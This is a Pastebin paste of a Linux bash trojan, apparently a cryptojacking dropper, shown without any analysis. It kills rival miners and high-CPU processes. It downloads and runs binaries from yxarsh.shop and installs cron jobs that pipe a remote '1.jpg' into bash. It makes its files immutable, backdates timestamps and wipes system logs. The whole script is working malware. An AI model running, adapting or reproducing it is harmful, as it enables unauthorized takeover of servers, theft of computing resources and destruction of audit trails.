Advertisement
Guest User

Trojan Script Linux

a guest
Jan 15th, 2019
1,632
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 8.66 KB | None | 0 0
  1. #!/bin/bash
  2. SHELL=/bin/sh
  3. PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
  4.  
  5. function b() {
  6. pkill -f sourplum
  7. pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
  8. rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
  9. rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
  10. rm -rf /tmp/*index_bak*
  11. rm -rf /tmp/*httpd.conf*
  12. rm -rf /tmp/*httpd.conf
  13. rm -rf /tmp/a7b104c270
  14. pkill -f kworkerds
  15. pkill -f biosetjenkins
  16. pkill -f AnXqV.yam
  17. pkill -f xmrigDaemon
  18. pkill -f xmrigMiner
  19. pkill -f xmrig
  20. pkill -f Loopback
  21. pkill -f apaceha
  22. pkill -f cryptonight
  23. pkill -f stratum
  24. pkill -f mixnerdx
  25. pkill -f performedl
  26. pkill -f JnKihGjn
  27. pkill -f irqba2anc1
  28. pkill -f irqba5xnc1
  29. pkill -f irqbnc1
  30. pkill -f ir29xc1
  31. pkill -f conns
  32. pkill -f irqbalance
  33. pkill -f crypto-pool
  34. pkill -f minexmr
  35. pkill -f XJnRj
  36. pkill -f NXLAi
  37. pkill -f BI5zj
  38. pkill -f askdljlqw
  39. pkill -f minerd
  40. pkill -f minergate
  41. pkill -f Guard.sh
  42. pkill -f ysaydh
  43. pkill -f bonns
  44. pkill -f donns
  45. pkill -f kxjd
  46. pkill -f Duck.sh
  47. pkill -f bonn.sh
  48. pkill -f conn.sh
  49. pkill -f kworker34
  50. pkill -f kw.sh
  51. pkill -f pro.sh
  52. pkill -f polkitd
  53. pkill -f acpid
  54. pkill -f icb5o
  55. pkill -f nopxi
  56. pkill -f irqbalanc1
  57. pkill -f minerd
  58. pkill -f i586
  59. pkill -f gddr
  60. pkill -f mstxmr
  61. pkill -f ddg.2011
  62. pkill -f wnTKYg
  63. pkill -f deamon
  64. pkill -f disk_genius
  65. pkill -f sourplum
  66. pkill -f bashx
  67. pkill -f bashg
  68. pkill -f bashe
  69. pkill -f bashf
  70. pkill -f bashh
  71. pkill -f XbashY
  72. pkill -f libapache
  73. pkill -f qW3xT.2
  74. pkill -f /usr/bin/.sshd
  75. pkill -f sustes
  76. pkill -f Xbash
  77. rm -rf /var/tmp/j*
  78. rm -rf /tmp/j*
  79. rm -rf /var/tmp/java
  80. rm -rf /tmp/java
  81. rm -rf /var/tmp/java2
  82. rm -rf /tmp/java2
  83. rm -rf /var/tmp/java*
  84. rm -rf /tmp/java*
  85. rm -rf /tmp/httpd.conf
  86. rm -rf /tmp/conn
  87. rm -rf /tmp/.uninstall* /tmp/.python* /tmp/.tables* /tmp/.mas
  88. rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
  89. chattr -i /tmp/kworkerds /var/tmp/kworkerds /var/tmp/config.json /tmp/.systemd-private-*
  90. rm -rf /tmp/kworkerds /var/tmp/kworkerds /var/tmp/config.json /tmp/.systemd-private-* .systemd-private-*
  91. chattr -i /usr/lib/libiacpkmn.so.3 && rm -rf /usr/lib/libiacpkmn.so.3
  92. chattr -i /etc/init.d/nfstruncate && rm -rf /etc/init.d/nfstruncate
  93. chattr -i /bin/nfstruncate && rm -rf /bin/nfstruncate
  94. rm -rf /etc/rc*.d/S01nfstruncate /etc/rc.d/rc*.d/S01nfstruncate
  95. chattr -i /bin/ddus-uidgen /etc/init.d/acpidtd /etc/rc.d/rc*.d/S01acpidtd /etc/rc*.d/S01acpidtd /etc/ld.sc.conf
  96. rm -rf /bin/ddus-uidgen /etc/init.d/acpidtd /etc/rc.d/rc*.d/S01acpidtd /etc/rc*.d/S01acpidtd /etc/ld.sc.conf
  97. mkdir -p /opt/yilu/work/xig /opt/yilu/work/xige /usr/bin/bsd-port  
  98. touch /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty  
  99. chmod -x /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty  
  100. chattr +i /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty
  101. ps auxf|grep -v grep|grep -v "\_" |grep -v "kthreadd" |grep "\[.*\]"|awk '{print $2}'|xargs kill -9
  102. ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
  103. ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
  104. ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
  105. ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
  106. ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
  107. ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
  108. ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
  109. ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9
  110. ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
  111. ps auxf|grep -v grep|grep "Xbash" | awk '{print $2}'|xargs kill -9
  112. ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
  113. ps auxf|grep -v grep|grep "cranbery" | awk '{print $2}'|xargs kill -9
  114. ps auxf|grep -v grep|grep "stratum" | awk '{print $2}'|xargs kill -9
  115. ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
  116. ps auxf|grep -v grep|grep "minerd" | awk '{print $2}'|xargs kill -9
  117. ps auxf|grep -v grep|grep /tmp/thisxxs|awk '{print $2}'|xargs kill  
  118. ps auxf|grep -v grep|grep /opt/yilu/work/xig/xig|awk '{print $2}'|xargs kill -9
  119. ps auxf|grep -v grep|grep /opt/yilu/mservice|awk '{print $2}'|xargs kill -9
  120. ps auxf|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
  121. ps auxf|grep -v grep|rep /usr/bin/bsd-port/getty | awk '{print $2}'|xargs kill -9
  122. netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  123. netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  124. netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  125. netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  126. netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  127. netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  128. netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  129. netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  130. netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  131. netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  132. netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  133. netstat -anp | grep :56415 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  134. }
  135.  
  136. function d() {
  137.     if [ `getconf LONG_BIT` = "32" ]; then
  138.         mkdir -p /var/tmp
  139.         chmod 1777 /var/tmp
  140.         (curl -fsSL --connect-timeout 120 http://yxarsh.shop/86 -o /var/tmp/r1x||wget http://yxarsh.shop/86 -O /var/tmp/r1x) && chmod +x /var/tmp/r1x
  141.         nohup /var/tmp/r1x >/dev/null 2>&1 &
  142.     else
  143.         (curl -fsSL --connect-timeout 120 http://yxarsh.shop/64 -o /tmp/r1x||wget http://yxarsh.shop/64 -O /tmp/r1x) && chmod +x /tmp/r1x
  144.         nohup /tmp/r1x >/dev/null 2>&1 &
  145.     fi
  146. }
  147.  
  148. function c() {
  149.     chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload
  150.     (curl -fsSL --connect-timeout 120 http://yxarsh.shop/0 -o /usr/local/bin/dns||wget http://yxarsh.shop/0 -O /usr/local/bin/dns) && chmod 755 /usr/local/bin/dns && touch -acmr /bin/sh /usr/local/bin/dns && chattr +i /usr/local/bin/dns
  151.     echo -e "SHELL=/bin/sh\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\nMAILTO=root\nHOME=/\n# run-parts\n01 * * * * root run-parts /etc/cron.hourly\n02 4 * * * root run-parts /etc/cron.daily\n0 1 * * * root /usr/local/bin/dns" > /etc/crontab && touch -acmr /bin/sh /etc/crontab
  152.     echo -e "*/10 * * * * root (curl -fsSL http://yxarsh.shop/1.jpg||wget -q -O- http://yxarsh.shop/1.jpg)|bash -sh\n##" > /etc/cron.d/root && touch -acmr /bin/sh /etc/cron.d/root && chattr +i /etc/cron.d/root
  153.     echo -e "*/17 * * * * root (curl -fsSL http://yxarsh.shop/1.jpg||wget -q -O- http://yxarsh.shop/1.jpg)|bash -sh\n##" > /etc/cron.d/apache && touch -acmr /bin/sh /etc/cron.d/apache && chattr +i /etc/cron.d/apache
  154.     echo -e "*/23 * * * * (curl -fsSL http://yxarsh.shop/1.jpg||wget -q -O- http://yxarsh.shop/1.jpg)|bash -sh\n##" > /var/spool/cron/root && touch -acmr /bin/sh /var/spool/cron/root && chattr +i /var/spool/cron/root
  155.     mkdir -p /var/spool/cron/crontabs
  156.     echo -e "*/31 * * * * (curl -fsSL http://yxarsh.shop/1.jpg||wget -q -O- http://yxarsh.shop/1.jpg)|bash -sh\n##" > /var/spool/cron/crontabs/root && touch -acmr /bin/sh /var/spool/cron/crontabs/root && chattr +i /var/spool/cron/crontabs/root
  157.     mkdir -p /etc/cron.hourly
  158.     (curl -fsSL --connect-timeout 120 http://yxarsh.shop/0 -o /etc/cron.hourly/oanacroner||wget http://yxarsh.shop/0 -O /etc/cron.hourly/oanacroner) && chmod 755 /etc/cron.hourly/oanacroner
  159.     mkdir -p /etc/cron.daily
  160.     (curl -fsSL --connect-timeout 120 http://yxarsh.shop/0 -o /etc/cron.daily/oanacroner||wget http://yxarsh.shop/0 -O /etc/cron.daily/oanacroner) && chmod 755 /etc/cron.daily/oanacroner
  161.     mkdir -p /etc/cron.monthly
  162.     (curl -fsSL --connect-timeout 120 http://yxarsh.shop/0 -o /etc/cron.monthly/oanacroner||wget http://yxarsh.shop/0 -O /etc/cron.monthly/oanacroner) && chmod 755 /etc/cron.monthly/oanacroner
  163.     rm -rf /etc/ld.so.preload
  164.     touch -acmr /bin/sh /etc/cron.hourly/oanacroner
  165.     touch -acmr /bin/sh /etc/cron.daily/oanacroner
  166.     touch -acmr /bin/sh /etc/cron.monthly/oanacroner
  167. }
  168.  
  169. b
  170. c
  171. if [ ! "$(ps -fe|grep 'r1x'|grep -v grep)" ];then
  172.     ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
  173.         do
  174.         kill -9 $procid
  175.         done
  176.     d
  177.     sleep 5
  178. fi
  179. echo 0>/var/spool/mail/root
  180. echo 0>/var/log/wtmp
  181. echo 0>/var/log/secure
  182. echo 0>/var/log/cron
  183. #
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement